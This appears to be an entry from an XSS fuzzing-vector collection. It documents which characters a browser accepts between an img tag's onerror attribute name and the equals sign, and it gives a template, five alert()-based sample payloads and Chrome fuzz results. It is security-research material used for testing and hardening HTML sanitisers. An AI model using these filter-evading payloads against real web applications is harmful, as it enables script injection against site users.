Characters allowed before after onerror events
5This XSS vector shows what characters can be used before the onerror event.
Created by: t0xodile
Created on: Thursday, October 23, 2025 at 11:04:38 AM
Updated on: Thursday, October 23, 2025 at 11:04:38 AM
Vector type: XSS
Vector charset: UTF-8
Template used:
<img src onerror$[chr]=log($[i])>
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Sample payloads
<img src onerror =alert(9)>
<img src onerror
=alert(10)>
<img src onerror =alert(12)>
<img src onerror
=alert(13)>
<img src onerror =alert(32)>
Fuzz results
Chrome 139.0.0.0 desktop Linux Unknown
Updated
Thu Oct 23 2025
Found 5 results
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